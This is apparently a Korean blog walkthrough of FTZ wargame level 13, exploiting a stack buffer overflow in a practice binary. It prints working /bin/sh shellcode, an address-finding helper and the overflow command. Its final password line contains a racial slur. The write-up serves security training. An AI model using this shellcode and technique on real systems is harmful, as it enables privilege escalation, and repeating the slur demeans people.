System Security/FTZ

FTZ level 13

The_j.n 2015. 8. 18. 22:22

FTZ level13
 - Question
  · level13 ID로 Login해서 level14의 password를 찾기


 - Solve

  · 'level13' Directory의 hint 내용을 확인해보면 Hint로 attackme File의 Source Code가 제공된다.
  · Source Code 분석
  ◦ Stack Memory 영역에 buf 변수를 1024Byte만큼 확보한다.
  ◦ Stack Memory 영역에 변수를 4Byte만큼 확보한다.
  ◦ 변수 영역에 0x1234567이라는 내용이 바뀌면 BOF 공격 경고문을 출력한다.
  ◦ 'strcpy' 함수가 사용되었으며 이를 이용해 BOF 공격을 해야 한다.

  · File을 분석하기 위해서는 gdb를 사용해야하는데 원본 File이 level14에 대해서만 쓰기(w)가 가능하므로 쓰기 권한이 주어진 tmp Directory에 복사 후 분석해야한다

  · gdb를 이용해 분석해보면 처음에 sub 명령어를 이용해 buf 변수의 크기인 1024(0x418)만큼을 확보한다.
  · 해당 지점으로부터 12를 뺀 Memory 영역에 i 값인 0x1234567을 복사한다.
  · 여기서 buf 영역과 i 값 사이에는 아무런 값이 없기 때문에 Dummy 영역으로 판단한다.
  · sub 명령어로 8Byte 만큼의 Dummy 영역을 확보한다.
  · Egg Shell

  ◦ export 명령어를 이용해 환경변수에 Egg shell을 등록한다.
  ◦ 명령어 

1
export eggsh=`python -'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
cs

  ◦ Egg Shell의 주소 값을 찾는 Program을 만든다.
  ◦ Code

1
2
3
4
5
6
#include <stdio.h>

int main()
{
        printf("egg : %p\n", getenv("eggsh"));
}
cs

  ◦ 변수 i의 값이 변하면 안 되기 때문에 buf 변수(1024Byte)와 Dummy 영역(8Byte)을 NOP 명령어로 채우고 0x1234567을 Little Endian의 순서로 넣어주고 또 다른 Dummy 영역(12Byte)을 NOP로 채우고 Egg Shell의 주소를 채워넣는다.
  ◦ 명령어 

1
./attackme `python -'print "\x90"*1036+"\x67\x45\x23\x01"+"\x90"*12+"\x91\xfe\xff\xbf"'`
cs

  · Password 확인

  ◦ my-pass 명령어로 Password를 확인한다.


 - Answer 
  · Password : what that nigga want?